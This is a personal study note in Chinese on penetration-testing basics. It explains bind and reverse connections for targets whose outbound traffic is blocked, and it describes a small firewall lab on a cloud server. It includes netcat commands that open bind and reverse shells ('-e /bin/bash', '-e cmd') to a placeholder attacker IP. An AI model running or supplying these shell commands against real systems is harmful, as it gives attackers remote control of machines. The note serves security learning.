附:完整筆記目錄~
ps:本人小白,筆記均在個人理解基礎上整理,若有錯誤歡迎指正!
3.2 不出網
-
概念
不出網常在內網中被提到,指系統/網路無法主動向外部網路發起連線。針對運維人員而言,不出網最簡單的實現方式則為出站規則的配置。
那當攻擊者遇到不出網的情況時該如何處理呢?
-
正向連線&反向連線
-
原理
根據不出網的定義,即目標主機無法主動向外通訊。那作為攻擊機主動連線目標主機建立通道,實現對目標主機的控制,這種方式是不是就可以解決不出網了呢。同時也稱這種方式為正向連線。
那說到正向連線,順帶也介紹一下反向連線吧。正向連線是攻擊機主動連線目標,而反向連線則是控制目標主機去主動連線攻擊機。
-
實現:同樣以nc為例
# 正向連線 # 攻擊機 nc 靶機ip 埠號 # 靶機 nc -lvp 埠號 -e bin/bash nc -lvp 埠號 -e cmd # 反向連線 # 靶機 nc 攻擊機ip 埠號 -e /bin/bash nc 攻擊機ip 埠號 -e cmd # 攻擊機 nc -lvp 埠號
有沒有感覺反向連線的實現很熟悉呢,這不就是使用nc反彈Shell的命令。所以嘛,反彈Shell也是一種反向連線。
-
應用場景
在面對不同場景時,需分別選擇正向連線或反向連線。這裡舉幾個例子
- 當管理員對應用出站規則做了嚴格限制,如不出網。(正向連線)
- 當管理員對應用入站規則做了嚴格限制,如Web伺服器僅允許使用者對其22、80、443埠進行訪問。
(反向連線) - 當攻擊機處於內網時。(正向連線)
- 當目標主機處於內網時。(反向連線)
-
-
隧道
迪總沒細講,後續放到內網篇詳細說吧。
-
實驗:分別配置目標伺服器出/入站規則,並透過nc進行正/反向連線。
-
配置目標伺服器出站規則,透過nc嘗試正向連線。
以阿里雲所租Ubuntu20.04為例,首先禁止伺服器所有出站流量
由於目標伺服器不出網且放通了入站的21埠,因此使用攻擊機嘗試正向連線靶機21埠。
正向連線成功!
-
配置目標伺服器的入站規則,透過nc嘗試反向連線。
配置入站規則僅保留22埠,出站規則全放通。
由於目標伺服器出站規則全放通,因此嘗試反向連線使目標伺服器主動連線攻擊機
反向連線成功!
-
實驗結束
-